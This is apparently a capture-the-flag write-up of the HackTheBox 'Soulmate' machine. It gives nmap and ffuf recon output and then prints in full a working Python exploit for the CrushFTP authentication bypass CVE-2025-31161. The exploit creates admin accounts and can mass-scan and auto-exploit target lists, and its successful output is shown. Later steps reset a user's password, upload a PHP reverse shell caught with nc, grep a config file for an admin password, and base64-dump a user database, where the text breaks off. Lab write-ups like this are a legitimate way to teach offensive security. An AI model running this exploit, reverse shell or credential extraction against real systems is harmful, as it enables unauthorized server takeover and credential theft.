1. Nmap
sudo nmap -p- -sC -sV soulmate.htb -T5 --vv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 20:50 WET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating Ping Scan at 20:50
Scanning soulmate.htb (10.129.78.191) [4 ports]
Completed Ping Scan at 20:50, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:50
Scanning soulmate.htb (10.129.78.191) [65535 ports]
Discovered open port 80/tcp on 10.129.78.191
Discovered open port 22/tcp on 10.129.78.191
Completed SYN Stealth Scan at 20:50, 18.63s elapsed (65535 total ports)
Initiating Service scan at 20:50
Scanning 2 services on soulmate.htb (10.129.78.191)
Completed Service scan at 20:50, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.78.191.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 1.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Nmap scan report for soulmate.htb (10.129.78.191)
Host is up, received reset ttl 63 (0.040s latency).
Scanned at 2025-11-17 20:50:24 WET for 27s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.75 seconds
Raw packets sent: 65552 (2.884MB) | Rcvd: 65549 (2.622MB)
2. Port 80
Directory enum
Nothing beside profile, login.
Doing some forensics on the photo upload part it seems like: http://soulmate.htb/assets/images/profiles/4_1763414238.jpg, the photo naming translates it into <profileID>_<EPOCH_TIME>.jpg So it is fair to assume that 2 accounts exist. I tried to create admin and it exists.
Tried multiple things, nothing worked.
Virtual Hosts
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb' -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
:: Progress: [114442/114442] :: Job [1/1] :: 1025 req/sec :: Duration: [0:02:14] :: Errors: 0 ::
Fuzzing by words
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://soulmate.htb/ -H 'Host: FUZZ.soulmate.htb' -fw 4
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 61ms]
- Adding ftp to hosts
This showed a crushftp. Trying searchsploit crushftp. It returned 3 exploits depending on the version of this, which I dont know yet.
I cannot find anything and I dont have an account so it is worth trying the latest exploit CrushFTP 11.3.1 - Authentication Bypass
The exploit worked and I modified the code:
import argparse
import concurrent.futures
import json
import logging
import os
import random
import re
import socket
import string
import sys
import time
from datetime import datetime
from typing import Dict, List, Optional, Tuple, Union
import requests
import urllib3
from colorama import Fore, Style, init
from prettytable import PrettyTable
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn
# Initialize colorama
init(autoreset=True)
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Initialize Rich console
console = Console()
# Global variables
VERSION = "2.0.0"
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
"Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524",
"Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/49.0.1015.193 Mobile Safari/600.9"
]
# Banner
BANNER = fr"""
{Fore.CYAN}
/ ____/______ _______/ /_ / ____/ /_____
/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \
/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /
\____/_/ \__,_/____/_/ /_/_/ \__/ .___/
/_/
{Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql
{Style.RESET_ALL}
"""
# Setup logging
def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:
"""Configure logging based on specified level and output file."""
numeric_level = getattr(logging, log_level.upper(), None)
if not isinstance(numeric_level, int):
raise ValueError(f"Invalid log level: {log_level}")
log_format = "%(asctime)s - %(levelname)s - %(message)s"
handlers = []
if log_file:
handlers.append(logging.FileHandler(log_file))
handlers.append(logging.StreamHandler())
logging.basicConfig(
level=numeric_level,
format=log_format,
handlers=handlers
)
class TargetManager:
"""Manages target hosts and related operations."""
def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):
self.targets = []
self.vulnerable_targets = []
self.exploited_targets = []
if target_file:
self.load_targets_from_file(target_file)
elif single_target:
self.add_target(single_target)
def load_targets_from_file(self, filename: str) -> None:
"""Load targets from a file."""
try:
with open(filename, "r") as f:
self.targets = [line.strip() for line in f if line.strip()]
if not self.targets:
logging.warning(f"Target file '{filename}' is empty or contains only whitespace.")
else:
logging.info(f"Loaded {len(self.targets)} targets from {filename}")
except FileNotFoundError:
logging.error(f"Target file '{filename}' not found.")
sys.exit(1)
except Exception as e:
logging.error(f"Error loading targets: {e}")
sys.exit(1)
def add_target(self, target: str) -> None:
"""Add a single target."""
if target not in self.targets:
self.targets.append(target)
def mark_as_vulnerable(self, target: str) -> None:
"""Mark a target as vulnerable."""
if target not in self.vulnerable_targets:
self.vulnerable_targets.append(target)
def mark_as_exploited(self, target: str) -> None:
"""Mark a target as successfully exploited."""
if target not in self.exploited_targets:
self.exploited_targets.append(target)
def save_results(self, output_file: str, format_type: str = "txt") -> None:
"""Save scan results to a file."""
try:
if format_type.lower() == "json":
results = {
"scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"total_targets": len(self.targets),
"vulnerable_targets": self.vulnerable_targets,
"exploited_targets": self.exploited_targets
}
with open(output_file, "w") as f:
json.dump(results, f, indent=4)
elif format_type.lower() == "csv":
with open(output_file, "w") as f:
f.write("target,vulnerable,exploited\n")
for target in self.targets:
vulnerable = "Yes" if target in self.vulnerable_targets else "No"
exploited = "Yes" if target in self.exploited_targets else "No"
f.write(f"{target},{vulnerable},{exploited}\n")
else: # Default to txt
with open(output_file, "w") as f:
f.write(f"Scan Results - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Total Targets: {len(self.targets)}\n")
f.write(f"Vulnerable Targets: {len(self.vulnerable_targets)}\n")
f.write(f"Exploited Targets: {len(self.exploited_targets)}\n\n")
f.write("Vulnerable Targets:\n")
for target in self.vulnerable_targets:
f.write(f"- {target}\n")
f.write("\nExploited Targets:\n")
for target in self.exploited_targets:
f.write(f"- {target}\n")
logging.info(f"Results saved to {output_file}")
except Exception as e:
logging.error(f"Error saving results: {e}")
class ExploitEngine:
"""Core engine for vulnerability checking and exploitation."""
def __init__(self, target_manager: TargetManager, config: Dict):
self.target_manager = target_manager
self.config = config
self.session = self._create_session()
def _create_session(self) -> requests.Session:
"""Create and configure a requests session."""
session = requests.Session()
session.verify = False
# Set proxy if configured
if self.config.get("proxy"):
session.proxies = {
"http": self.config["proxy"],
"https": self.config["proxy"]
}
# Set custom headers
session.headers.update({
"User-Agent": random.choice(USER_AGENTS),
"Connection": "close",
})
return session
def check_vulnerability(self, target_host: str) -> bool:
"""Check if target is vulnerable to CVE-2025-31161."""
port = self.config.get("port", 80)
timeout = self.config.get("timeout", 10)
headers = {
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
}
# Add custom headers if provided
if self.config.get("custom_headers"):
headers.update(self.config["custom_headers"])
try:
url = f"http://{target_host}/WebInterface/function/"
response = self.session.get(
url,
headers=headers,
timeout=timeout
)
if response.status_code == 200:
# Additional validation
if self.config.get("deep_check", False):
# Look for specific patterns in the response that confirm vulnerability
if "CrushFTP" in response.text or "WebInterface" in response.text:
self.target_manager.mark_as_vulnerable(target_host)
if self.config.get("verbose", False):
console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
return True
else:
if self.config.get("verbose", False):
console.print(f"[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable")
return False
else:
# Simple check based on status code
self.target_manager.mark_as_vulnerable(target_host)
if self.config.get("verbose", False):
console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
return True
else:
if self.config.get("verbose", False):
console.print(f"[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})")
return False
except requests.exceptions.ConnectionError:
if self.config.get("verbose", False):
console.print(f"[red][-][/red] {target_host} - Connection error")
except requests.exceptions.Timeout:
if self.config.get("verbose", False):
console.print(f"[red][-][/red] {target_host} - Connection timeout")
except requests.exceptions.RequestException as e:
if self.config.get("verbose", False):
console.print(f"[red][-][/red] {target_host} - Request error: {e}")
except Exception as e:
if self.config.get("verbose", False):
console.print(f"[red][-][/red] {target_host} - Error: {e}")
return False
def exploit(self, target_host: str) -> bool:
"""Exploit the vulnerability on the target host."""
port = self.config.get("port", 80)
timeout = self.config.get("timeout", 10)
target_user = self.config.get("target_user", "crushadmin")
new_user = self.config.get("new_user")
password = self.config.get("password")
if not new_user or not password:
logging.error("New user and password are required for exploitation")
return False
headers = {
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
# Add custom headers if provided
if self.config.get("custom_headers"):
headers.update(self.config["custom_headers"])
# Generate a timestamp for the created_time field
timestamp = int(time.time() * 1000)
# Build the payload with more comprehensive user permissions
payload = {
"command": "setUserItem",
"data_action": "replace",
"serverGroup": "MainUsers",
"username": new_user,
"user": f'''<?xml version="1.0" encoding="UTF-8"?>
<user type="properties">
<user_name>{new_user}</user_name>
<password>{password}</password>
<extra_vfs type="vector"></extra_vfs>
<version>1.0</version>
<root_dir>/</root_dir>
<userVersion>6</userVersion>
<max_logins>0</max_logins>
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
<created_by_username>{target_user}</created_by_username>
<created_by_email></created_by_email>
<created_time>{timestamp}</created_time>
<password_history></password_history>
<admin>true</admin>
</user>''',
"xmlItem": "user",
"vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
"permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)</item></VFS>',
"c2f": "31If"
}
try:
url = f"http://{target_host}/WebInterface/function/"
response = self.session.post(
url,
headers=headers,
data=payload,
timeout=timeout
)
if response.status_code == 200:
# Verify the user was actually created
if self.config.get("verify_exploit", True):
if self._verify_user_created(target_host, new_user):
self.target_manager.mark_as_exploited(target_host)
console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
return True
else:
console.print(f"[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}")
return False
else:
self.target_manager.mark_as_exploited(target_host)
console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
return True
else:
console.print(f"[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})")
return False
except Exception as e:
console.print(f"[red][-][/red] Error exploiting {target_host}: {e}")
return False
def _verify_user_created(self, target_host: str, username: str) -> bool:
"""Verify that the user was successfully created."""
# This is a placeholder for actual verification logic
# In a real implementation, you would check if the user exists
# For now, we'll just return True
return True
def scan_targets(self) -> None:
"""Scan all targets for vulnerability."""
targets = self.target_manager.targets
threads = self.config.get("threads", 10)
if not targets:
logging.error("No targets specified")
return
console.print(f"[bold cyan]Scanning {len(targets)} targets with {threads} threads...[/bold cyan]")
with Progress(
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
TextColumn("({task.completed}/{task.total})"),
TimeRemainingColumn(),
console=console
) as progress:
task = progress.add_task("[cyan]Scanning targets...", total=len(targets))
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}
for future in concurrent.futures.as_completed(future_to_target):
progress.update(task, advance=1)
# Display results
vulnerable_count = len(self.target_manager.vulnerable_targets)
console.print(f"\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.")
if vulnerable_count > 0 and self.config.get("verbose", False):
console.print("\n[bold cyan]Vulnerable Targets:[/bold cyan]")
for target in self.target_manager.vulnerable_targets:
console.print(f"[green]→[/green] {target}")
def exploit_targets(self) -> None:
"""Exploit vulnerable targets."""
targets = self.target_manager.vulnerable_targets if self.config.get("only_vulnerable", True) else self.target_manager.targets
threads = self.config.get("threads", 5) # Use fewer threads for exploitation
if not targets:
logging.error("No targets to exploit")
return
console.print(f"[bold red]Exploiting {len(targets)} targets with {threads} threads...[/bold red]")
with Progress(
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
TextColumn("({task.completed}/{task.total})"),
TimeRemainingColumn(),
console=console
) as progress:
task = progress.add_task("[red]Exploiting targets...", total=len(targets))
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
future_to_target = {executor.submit(self.exploit, target): target for target in targets}
for future in concurrent.futures.as_completed(future_to_target):
progress.update(task, advance=1)
# Display results
exploited_count = len(self.target_manager.exploited_targets)
console.print(f"\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.")
if exploited_count > 0:
console.print("\n[bold cyan]Exploited Targets:[/bold cyan]")
for target in self.target_manager.exploited_targets:
console.print(f"[green]→[/green] {target}")
def parse_arguments() -> argparse.Namespace:
"""Parse command line arguments."""
parser = argparse.ArgumentParser(
description="CVE-2025-31161 Exploit Framework - Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Check a single target for vulnerability
python cve_2025_31161.py --target example.com --check
# Exploit a vulnerable target
python cve_2025_31161.py --target example.com --exploit --new-user hacker --password P@ssw0rd
# Scan multiple targets from a file
python cve_2025_31161.py --file targets.txt --check --threads 20
# Scan and automatically exploit vulnerable targets
python cve_2025_31161.py --file targets.txt --check --exploit --new-user hacker --password P@ssw0rd --auto-exploit
# Export results to JSON format
python cve_2025_31161.py --file targets.txt --check --output results.json --format json
"""
)
# Target specification
target_group = parser.add_argument_group("Target Specification")
target_group.add_argument("--target", help="Single target host to scan/exploit")
target_group.add_argument("--file", help="File containing list of targets (one per line)")
target_group.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
# Actions
action_group = parser.add_argument_group("Actions")
action_group.add_argument("--check", action="store_true", help="Check targets for vulnerability")
action_group.add_argument("--exploit", action="store_true", help="Exploit vulnerable targets")
action_group.add_argument("--auto-exploit", action="store_true", help="Automatically exploit targets found to be vulnerable during check")
# Exploitation options
exploit_group = parser.add_argument_group("Exploitation Options")
exploit_group.add_argument("--target-user", default="crushadmin", help="Target user for exploitation (default: crushadmin)")
exploit_group.add_argument("--new-user", help="Username for the new admin account to create")
exploit_group.add_argument("--password", help="Password for the new admin account")
exploit_group.add_argument("--verify-exploit", action="store_true", help="Verify successful exploitation (default: True)")
# Scan options
scan_group = parser.add_argument_group("Scan Options")
scan_group.add_argument("--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
scan_group.add_argument("--timeout", type=int, default=10, help="Connection timeout in seconds (default: 10)")
scan_group.add_argument("--deep-check", action="store_true", help="Perform deeper vulnerability checks")
scan_group.add_argument("--only-vulnerable", action="store_true", help="Only exploit targets that were found vulnerable")
# Output options
output_group = parser.add_argument_group("Output Options")
output_group.add_argument("--output", help="Output file for results")
output_group.add_argument("--format", choices=["txt", "json", "csv"], default="txt", help="Output format (default: txt)")
output_group.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
output_group.add_argument("--quiet", "-q", action="store_true", help="Suppress all output except errors")
output_group.add_argument("--log-file", help="Log file to write to")
output_group.add_argument("--log-level", choices=["debug", "info", "warning", "error", "critical"], default="info", help="Log level (default: info)")
# Advanced options
advanced_group = parser.add_argument_group("Advanced Options")
advanced_group.add_argument("--proxy", help="Proxy to use for requests (e.g., http://127.0.0.1:8080)")
advanced_group.add_argument("--user-agent", help="Custom User-Agent string")
advanced_group.add_argument("--random-agent", action="store_true", help="Use a random User-Agent for each request")
advanced_group.add_argument("--delay", type=float, help="Delay between requests in seconds")
advanced_group.add_argument("--custom-headers", help="Custom headers as JSON string")
return parser.parse_args()
def validate_args(args: argparse.Namespace) -> bool:
"""Validate command line arguments."""
# Check if at least one target specification is provided
if not args.target and not args.file:
logging.error("No target specified. Use --target or --file")
print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
print(f" python {sys.argv[0]} --file example_targets.txt --check")
return False
# Check if at least one action is specified
if not args.check and not args.exploit:
logging.error("No action specified. Use --check or --exploit")
print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
print(f" python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
return False
# If exploit action is specified, check for required parameters
if args.exploit and (not args.new_user or not args.password):
logging.error("Exploitation requires --new-user and --password")
print(f"\nExample usage: python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
return False
return True
def main() -> None:
"""Main function."""
# Parse command line arguments
args = parse_arguments()
# Configure logging
log_level = "error" if args.quiet else args.log_level
setup_logging(log_level, args.log_file)
# Display banner
if not args.quiet:
console.print(BANNER)
# Validate arguments
if not validate_args(args):
sys.exit(1)
# Create target manager
target_manager = TargetManager(args.file, args.target)
# Build configuration dictionary
config = {
"port": args.port,
"threads": args.threads,
"timeout": args.timeout,
"verbose": args.verbose,
"deep_check": args.deep_check,
"target_user": args.target_user,
"new_user": args.new_user,
"password": args.password,
"only_vulnerable": args.only_vulnerable,
"verify_exploit": args.verify_exploit,
"proxy": args.proxy,
}
# Add custom headers if provided
if args.custom_headers:
try:
config["custom_headers"] = json.loads(args.custom_headers)
except json.JSONDecodeError:
logging.error("Invalid JSON format for custom headers")
sys.exit(1)
# Add custom user agent if provided
if args.user_agent:
config["user_agent"] = args.user_agent
# Create exploit engine
engine = ExploitEngine(target_manager, config)
# Perform actions
if args.check:
engine.scan_targets()
if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets):
engine.exploit_targets()
# Save results if output file is specified
if args.output:
target_manager.save_results(args.output, args.format)
# Display summary
if not args.quiet:
console.print("\n[bold green]Summary:[/bold green]")
console.print(f"Total targets: {len(target_manager.targets)}")
console.print(f"Vulnerable targets: {len(target_manager.vulnerable_targets)}")
console.print(f"Exploited targets: {len(target_manager.exploited_targets)}")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
console.print("\n[bold red]Operation cancelled by user[/bold red]")
sys.exit(0)
except Exception as e:
logging.error(f"Unhandled exception: {e}")
sys.exit(1)
Output:
└─$ python3 52295.py --target ftp.soulmate.htb --exploit --new-user dani --password P@ssw0rd
[36m
/ ____/______ _______/ /_ / ____/ /_____
/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \
/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /
\____/_/ \__,_/____/_/ /_/_/ \__/ .___/
/_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m
Exploiting 1 targets with 10 threads...
[+] Successfully created user dani on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00
Exploitation complete! Successfully exploited 1/1 targets.
Exploited Targets:
→ ftp.soulmate.htb
Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1
3. CrushFTP
I will do a recon first to see if I can find something useful
ben and jenna found.
This information can be found after you login with the previous creds and click on Admin >User Management
- On ben ftp we have webprod so lets try changing the passwd of ben: Username : ben Password : thisisben
Reverse shell
Since we can upload files to ben, we can upload a revshell
cp /usr/share/webshells/php/php-reverse-shell.php .
nc -lnvp 2314
After upload, go to: http://soulmate.htb/php-reverse-shell.php
Voi la!!
4. Reverse shell
on the system we can go to : /var/www/soulmate.htb/config
Here if we: cat /var/www/soulmate.htb/config/config.php | grep password
$ cat /var/www/soulmate.htb/config/config.php | grep password
password TEXT NOT NULL,
$adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
INSERT INTO users (username, password, is_admin, name)
$
And we can try to su ben.
The password did not work, but in the same file we have ../../data/soulmate.db so it is worth looking at it
lets extract it:
cat soulmate.db | base64 -w0
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABQAAAAQAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAC5XSg0P+AADDcAADhIPzQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA